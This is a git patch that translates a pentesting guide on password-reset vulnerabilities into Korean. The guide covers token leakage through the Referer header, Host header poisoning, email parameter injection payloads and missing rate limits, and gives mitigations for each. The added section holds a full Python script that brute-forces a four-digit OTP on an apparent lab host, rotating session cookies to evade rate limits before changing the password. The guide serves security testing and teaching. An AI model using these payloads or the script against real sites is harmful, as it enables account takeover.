From fdcb986c5697191661e5c5919e0c2e497a6116ce Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:42:47 +0000 Subject: [PATCH] Translated ['src/pentesting-web/reset-password.md'] to ko --- src/pentesting-web/reset-password.md | 86 ++++++++++++++++++++++++---- 1 file changed, 75 insertions(+), 11 deletions(-) diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 039d51fca..96695245a 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -6,7 +6,7 @@ - HTTP referer 헤더는 URL에 포함된 경우 비밀번호 재설정 토큰을 유출할 수 있습니다. 이는 사용자가 비밀번호 재설정을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다. - **영향**: 교차 사이트 요청 위조(CSRF) 공격을 통한 계정 탈취 가능성. -- **악용**: referer 헤더에서 비밀번호 재설정 토큰이 유출되고 있는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 **재설정 링크를 클릭**하십시오. **즉시 비밀번호를 변경하지 마십시오**. 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동하십시오. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하십시오. 이는 제3자에게 민감한 정보를 노출할 수 있습니다. +- **악용 방법**: referer 헤더에서 비밀번호 재설정 토큰이 유출되고 있는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 보내고 **제공된 재설정 링크를 클릭**하십시오. **즉시 비밀번호를 변경하지 마십시오**. 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동하십시오. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하십시오. 이는 제3자에게 민감한 정보를 노출할 수 있습니다. - **참조**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) @@ -14,8 +14,8 @@ ## **비밀번호 재설정 중독** -- 공격자는 비밀번호 재설정 요청 중에 Host 헤더를 조작하여 재설정 링크를 악성 사이트로 유도할 수 있습니다. -- **영향**: 재설정 토큰을 공격자에게 유출하여 계정 탈취 가능성. +- 공격자는 비밀번호 재설정 요청 중 Host 헤더를 조작하여 재설정 링크를 악성 사이트로 유도할 수 있습니다. +- **영향**: 재설정 토큰이 공격자에게 유출되어 계정 탈취 가능성. - **완화 조치**: - 허용된 도메인의 화이트리스트에 대해 Host 헤더를 검증합니다. - 절대 URL을 생성하기 위해 안전한 서버 측 방법을 사용합니다. @@ -27,7 +27,7 @@ 공격자는 추가 이메일 매개변수를 추가하여 비밀번호 재설정 요청을 조작하여 재설정 링크를 전환할 수 있습니다. -- &를 사용하여 공격자 이메일을 두 번째 매개변수로 추가합니다. +- &를 사용하여 두 번째 매개변수로 공격자 이메일 추가 ```php POST /resetPassword [...] @@ -63,14 +63,14 @@ POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` -- JSON 배열에 두 번째 매개변수로 공격자 이메일 추가 +- 공격자 이메일을 JSON 배열의 두 번째 매개변수로 추가합니다. ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **완화 단계**: -- 이메일 매개변수를 서버 측에서 적절하게 구문 분석하고 검증합니다. +- 이메일 매개변수를 서버 측에서 적절하게 파싱하고 검증합니다. - 주입 공격을 방지하기 위해 준비된 문이나 매개변수화된 쿼리를 사용합니다. - **참조**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) @@ -91,9 +91,9 @@ POST /api/changepass - **참조**: - [API 매개변수 조작을 통한 전체 계정 탈취](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) -## **비율 제한 없음: 이메일 폭탄 공격** +## **비율 제한 없음: 이메일 폭탄** -- 비밀번호 재설정 요청에 대한 비율 제한이 없으면 이메일 폭탄 공격이 발생하여 사용자가 재설정 이메일로 압도당할 수 있습니다. +- 비밀번호 재설정 요청에 대한 비율 제한이 없으면 이메일 폭탄이 발생하여 사용자가 재설정 이메일로 압도당할 수 있습니다. - **완화 단계**: - IP 주소 또는 사용자 계정을 기반으로 비율 제한을 구현합니다. - 자동화된 남용을 방지하기 위해 CAPTCHA 챌린지를 사용합니다. @@ -143,7 +143,7 @@ uuid-insecurities.md ## **무차별 대입 비밀번호 재설정 토큰** -- Burpsuite 및 IP-Rotator와 같은 도구를 사용하여 재설정 토큰을 무차별 대입하여 IP 기반 비율 제한을 우회하려고 시도합니다. +- Burpsuite 및 IP-Rotator와 같은 도구를 사용하여 재설정 토큰을 무차별 대입하려고 시도하여 IP 기반 비율 제한을 우회합니다. - **완화 단계**: - 강력한 비율 제한 및 계정 잠금 메커니즘을 구현합니다. - 무차별 대입 공격을 나타내는 의심스러운 활동을 모니터링합니다. @@ -152,11 +152,11 @@ uuid-insecurities.md - 공격자의 재설정 토큰이 피해자의 이메일과 함께 사용될 수 있는지 테스트합니다. - **완화 단계**: -- 토큰이 사용자 세션 또는 기타 사용자 특정 속성에 바인딩되도록 보장합니다. +- 토큰이 사용자 세션 또는 기타 사용자 특정 속성에 바인딩되도록 합니다. ## **로그아웃/비밀번호 재설정 시 세션 무효화** -- 사용자가 로그아웃하거나 비밀번호를 재설정할 때 세션이 무효화되도록 보장합니다. +- 사용자가 로그아웃하거나 비밀번호를 재설정할 때 세션이 무효화되도록 합니다. - **완화 단계**: - 적절한 세션 관리를 구현하여 로그아웃 또는 비밀번호 재설정 시 모든 세션이 무효화되도록 합니다. @@ -166,6 +166,70 @@ uuid-insecurities.md - **완화 단계**: - 재설정 토큰에 대해 합리적인 만료 시간을 설정하고 이를 서버 측에서 엄격히 시행합니다. +## **세션 변경으로 인한 OTP 비율 제한 우회** + +- 웹사이트가 잘못된 OTP 시도를 추적하기 위해 사용자 세션을 사용하고 OTP가 약한 경우(<= 4자리) 효과적으로 OTP를 무차별 대입할 수 있습니다. +- **악용**: +- 서버에 의해 차단된 후 새 세션 토큰을 요청합니다. +- **예제** 코드로 이 버그를 악용하여 OTP를 무작위로 추측합니다(세션을 변경하면 OTP도 변경되므로 순차적으로 무차별 대입할 수 없습니다!): + +``` python +# 비밀번호 재설정을 통한 인증 우회 +# by coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] 공격 시작!") +sleep(3) +print("[+] 완료까지 약 5분 정도 소요될 수 있습니다!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 사이의 무작위 숫자 4자리 +parms["s"] = 164 # 중요하지 않음, 프론트엔드에만 영향을 미침 +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # 시도 횟수에 따라 +out = requests.get(logout,headers=headers) # 로그아웃 +mainp = requests.get(root) # 다른 phpssid(토큰) 가져오기 + +cookies = out.cookies # 세션 ID 추출 +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # 새 세션으로 헤더 업데이트 + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # 비밀번호 변경을 위한 이메일 전송 +ter = 0 # 8회 시도 후 새 세션을 얻기 위해 ter 초기화 +else: +ter += 1 +if(len(res.text) == 2292): # 복구 코드가 올바르게 입력되었을 때 페이지 길이 (테스트로 얻음) +print(len(res.text)) # 디버그 정보 +print(phpsessid) + +reset_data = { # 여기서 비밀번호를 새로운 것으로 변경 +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] 비밀번호가 D37djkamd!로 변경되었습니다!") +break +except Exception as e: +print("[+] 공격 중지") +``` + ## 참조 - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)